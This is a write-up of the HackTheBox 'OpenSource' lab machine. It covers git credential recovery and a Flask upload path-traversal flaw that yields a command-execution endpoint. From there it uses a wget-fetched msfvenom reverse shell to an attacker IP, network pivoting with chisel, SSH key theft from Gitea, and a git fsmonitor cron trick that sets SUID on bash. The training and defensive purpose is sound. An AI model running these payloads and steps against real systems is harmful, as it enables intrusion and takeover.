HTB: OpenSource Writeup
OpenSource - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | OpenSource |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 19 May 2022 |
| IP Address | 10.10.11.164 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
OpenSource is an easy difficulty Linux machine featuring a Python Flask file-sharing application with critical vulnerabilities. After downloading the exposed source code, Git repository analysis reveals hardcoded credentials in a VSCode settings file. The application suffers from unrestricted file uploads and directory traversal flaws, allowing remote code execution via views.py overwrite. The initial foothold lands inside a Docker container, requiring lateral movement through internal network enumeration and Gitea exploitation to obtain SSH credentials. Privilege escalation leverages Git configuration fsmonitor functionality executed by a root cron job to grant SUID privileges on the bash binary.
TL;DR: Git credentials → RCE via file upload/directory traversal → Docker escape to Gitea → SSH access → Git fsmonitor SUID exploit → Root
Reconnaissance
Port Scanning
# Initial scan to identify open portsnmap -p- --min-rate=1000 -T4 10.10.11.164
# Detailed service enumerationports=$(nmap -p- --min-rate=1000 -T4 10.10.11.164 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sV 10.10.11.164Results:
- Port 22 - OpenSSH 7.9p1 (SSH)
- Port 80 - Python HTTP Server (Flask Application)
Service Enumeration
Navigating to http://10.10.11.164:80 reveals a file-sharing web application with the following key features:
- Main landing page advertising “Upcloud” - a file sharing service
/upcloudendpoint for authenticated file uploads/downloadendpoint servingsource.zipcontaining the complete application source code- The application is containerized (Docker)
Vulnerability Assessment
Identified Vulnerabilities:
- Exposed Source Code - Complete application source available for download via
/download - Git Repository Exposure -
.gitfolder present in source code - Hardcoded Credentials in Git History - VSCode settings file contains plaintext credentials in older commits
- Unrestricted File Upload - No file type filtering in
/upcloudendpoint - Directory Traversal in Path Handling - Insecure use of
os.path.join()allowing path manipulation via filename parameter - Remote Code Execution Potential - Ability to overwrite Flask application files
Initial Foothold
Step 1: Extract and Analyze Source Code
# Download source codeunzip source.zip
# List directory structurels -la# Output shows .git folder indicating a Git repositoryStep 2: Extract Credentials from Git History
# Check commit historygit log
# List available branchesgit show-branch
# Checkout development branch with interesting commitsgit checkout dev
# Review commit differences to find hardcoded credentialsgit diff ee9d9f1ef9156c787d53074493e39ae364cd1e05 a76f8f75f7a4a12b706b0cf9c983796fa1985820
# Checkout specific commit containing VSCode settingsgit checkout a76f8f75f7a4a12b706b0cf9c983796fa1985820cd app/.vscode && cat settings.jsonDiscovered Credentials:
{ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python", "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/", "http.proxyStrictSSL": false}Username: dev01
Password: Soulless_Developer#2022
Step 3: Analyze Vulnerable Code
# app/app/views.py vulnerable upload handler@app.route('/upcloud', methods=['GET', 'POST'])def upload_file(): if request.method == 'POST': f = request.files['file'] file_name = get_file_name(f.filename) # No filtering! file_path = os.path.join(os.getcwd(), "public", "uploads", file_name) f.save(file_path) return render_template('success.html', file_url=request.host_url + "uploads/" + file_name) return render_template('upload.html')
# Directory traversal through os.path.join behavior:# os.path.join("/var/www/html", "/etc/passwd") → "/etc/passwd"# The leading slash in the second argument overwrites the first!Step 4: Create RCE Payload
Create a modified views.py with command execution capability:
import osimport subprocess
from app.utils import get_file_namefrom flask import render_template, request, send_file
from app import app
@app.route('/')def index(): return render_template('index.html')
@app.route('/download')def download(): return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
@app.route('/upcloud', methods=['GET', 'POST'])def upload_file(): if request.method == 'POST': f = request.files['file'] file_name = get_file_name(f.filename) file_path = os.path.join(os.getcwd(), "public", "uploads", file_name) f.save(file_path) return render_template('success.html', file_url=request.host_url + "uploads/" + file_name) return render_template('upload.html')
@app.route('/uploads/<path:path>')def send_report(path): path = get_file_name(path) return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
@app.route('/cmd')def execute(): cmd = request.args.get('cmd') return subprocess.check_output(cmd.split(" "))Step 5: Upload Payload via BurpSuite
- Open BurpSuite and capture the upload request to
/upcloud - Modify the
filenameparameter to:/app/app/views.py - Replace the file content with the modified
views.pypayload - Forward the request
- Verify RCE by navigating to
/cmd?cmd=id
# Test command executioncurl 'http://10.10.11.164/cmd?cmd=id'# Output: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon)...Step 6: Establish Reverse Shell
Generate msfvenom payload:
# Create ELF binary for reverse shellmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f elf -o shell
# Start local HTTP serverpython3 -m http.server 8000
# In msfconsole, setup listenermsfconsoleuse multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost tun0runDownload and execute shell:
# Download shell via RCE endpointhttp://10.10.11.164/cmd?cmd=wget%20http://10.10.14.4:8000/shell
# Make executablehttp://10.10.11.164/cmd?cmd=chmod%20777%20shell
# Execute reverse shellhttp://10.10.11.164/cmd?cmd=./shellResult: Meterpreter session established, but running as root inside Docker container.
Lateral Movement
Step 1: Enumerate Docker Network
meterpreter > ifconfig# Shows container IP: 172.17.0.6/16# Gateway typically at: 172.17.0.1Step 2: Setup SOCKS Proxy for Internal Network Access
Background current session and setup SOCKS proxy:
meterpreter > background
# In msfconsolesearch socksuse auxiliary/server/socks_proxyrunConfigure proxychains:
# Edit /etc/proxychains.conf# Add under [ProxyList]:socks5 127.0.0.1 1080Setup autorouting:
# In msfconsoleuse post/multi/manage/autorouteset session 1runStep 3: Scan Internal Network
# Scan host machine through proxyproxychains -q nmap -A -v 172.17.0.1
# Results show port 3000 open (Gitea service)Step 4: Port Forward with Chisel
Setup local Chisel server:
# Download chisel and setup listener locally./chisel server -p 9999 --reverse > /dev/null 2>&1From Meterpreter session:
# Upload chisel to remote systemupload chisel
# Execute with reverse port forwardexecute -f /tmp/chisel -i -a "client 10.10.14.4:9999 R:3000:172.17.0.1:3000"Access Gitea locally at http://localhost:3000
Step 5: Exploit Gitea Instance
- Login with discovered credentials:
dev01/Soulless_Developer#2022 - Navigate to
dev01/home-backuprepository - Locate and access the
.sshfolder - Copy the contents of
id_rsa(SSH private key)
Step 6: SSH Access to Host
# Save SSH key locallyecho "-----BEGIN RSA PRIVATE KEY-----" > id_rsa# [paste full key contents]echo "-----END RSA PRIVATE KEY-----" >> id_rsa
# Update hosts file for Gitea accessecho '127.0.0.1 opensource.htb' | sudo tee -a /etc/hosts
# Set correct permissionschmod 400 id_rsa
# SSH into host as dev01ssh -i id_rsa dev01@10.10.11.164Result: Authenticated SSH access as dev01 user. User flag accessible at /home/dev01/user.txt
Privilege Escalation
Step 1: Identify Git-Based Privilege Escalation Vector
Enumerate home directory:
ls -al /home/dev01/# Shows .git directory owned by dev01Step 2: Monitor Background Processes
# Upload pspy64 for process monitoringscp -i id_rsa pspy64 dev01@10.10.11.164:/tmp
# Make executable and runchmod +x pspy64./pspy64
# After waiting, observe:# /bin/bash -c cd /home/dev01/ && git-sync (running as root)Step 3: Analyze Root Cron Job
cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then echo "No changes"else day=$(date +'%Y-%m-%d') echo "Changes detected, pushing.." git add . git commit -m "Backup for ${day}" git push origin mainfiKey Insight: Root user executes git commit operations on user-controlled repository.
Step 4: Exploit Git Config fsmonitor
The .git/config file can define an fsmonitor parameter that executes arbitrary commands during git operations. Since this runs as root, we gain privilege escalation.
# Edit .git/confignano /home/dev01/.git/config
# Original content:[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true[remote "origin"] url = http://opensource.htb:3000/dev01/home-backup.git fetch = +refs/heads/*:refs/remotes/origin/*[branch "main"] remote = origin merge = refs/heads/main
# Modified content - add fsmonitor parameter:[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true fsmonitor = "chmod 4755 /bin/bash"[remote "origin"] url = http://opensource.htb:3000/dev01/home-backup.git fetch = +refs/heads/*:refs/remotes/origin/*[branch "main"] remote = origin merge = refs/heads/mainStep 5: Trigger Root Execution
Wait for the cron job to execute (typically runs every few minutes). The git commit operation will trigger the fsmonitor command, setting SUID on bash:
# Verify SUID bit is set (after cron execution)ls -al /bin/bash# Expected output: -rwsr-xr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
# Execute bash with privilege escalationbash -p
# Verify root accessid# Output: uid=0(root) gid=0(root) groups=0(root)...
# Read root flagcat /root/root.txtAttack Chain Summary
Source Code Download ↓Git Repository Analysis (credentials extraction) ↓Vulnerable Code Analysis (file upload + directory traversal) ↓RCE via views.py Overwrite (/cmd endpoint) ↓Reverse Meterpreter Shell (Docker container) ↓SOCKS Proxy Setup (network pivoting) ↓Internal Gitea Discovery (port 3000) ↓Gitea Login (dev01 credentials) ↓SSH Key Extraction (home-backup repository) ↓SSH Access to Host (dev01 user) ↓Cron Job Identification (pspy monitoring) ↓Git Config Modification (fsmonitor parameter) ↓Root Command Execution (chmod SUID bash) ↓Privilege Escalation (bash -p) ↓Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
git | Repository analysis and credential extraction |
burpsuite | HTTP request interception and payload delivery |
msfvenom | Reverse shell payload generation |
meterpreter | Post-exploitation framework and session management |
proxychains | SOCKS proxy routing for internal network access |
chisel | TCP port forwarding and tunneling |
pspy64 | Process monitoring to identify privilege escalation vectors |
ssh | Authenticated remote access |
nano | Git config file modification |
Key Learnings
Techniques Practiced
- Git Repository Analysis - Extracting sensitive information from commit history and deleted files
- Source Code Review - Identifying file upload and path traversal vulnerabilities
- Unrestricted File Upload - Exploiting lack of file type validation to achieve RCE
- Directory Traversal Exploitation - Leveraging
os.path.join()behavior to overwrite critical application files - Network Pivoting - Using SOCKS proxies and port forwarding to access internal services
- Docker Container Escape - Lateral movement from container to host via exposed services
- Git Configuration Exploitation - Leveraging fsmonitor parameter for arbitrary command execution
- Privilege Escalation via Cron Jobs - Exploiting root-owned processes that interact with user-controlled files
Lessons Learned
-
Source code exposure is critical - Never expose
.gitdirectories or application source code publicly. Attackers gain complete understanding of application logic and can identify vulnerabilities at leisure. -
Secure file handling is essential - Use whitelisting for allowed file extensions, implement proper filename sanitization, and avoid
os.path.join()for constructing file paths with user input. -
Credential management in development - Avoid storing credentials in VSCode settings files, IDE configurations, or any files that might be committed to version control. Use environment variables or secure credential managers.
-
Git repository security - Be cautious of sensitive information in commit history. Even deleted files remain accessible through git history and should be purged with
git filter-branchif accidentally committed. -
Container security - Isolated containers running as root with exposed services create lateral movement opportunities. Implement proper network segmentation and principle of least privilege.
-
Monitor background processes - Tools like pspy can reveal privilege escalation opportunities through unattended cron jobs or services.
-
Git configuration hardening - Restrict modification of
.git/configfiles and audit git operations, especially when executed with elevated privileges. -
Real-world impact - This machine demonstrates how small misconfigurations can chain together into complete system compromise, reflecting real-world vulnerability chains.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>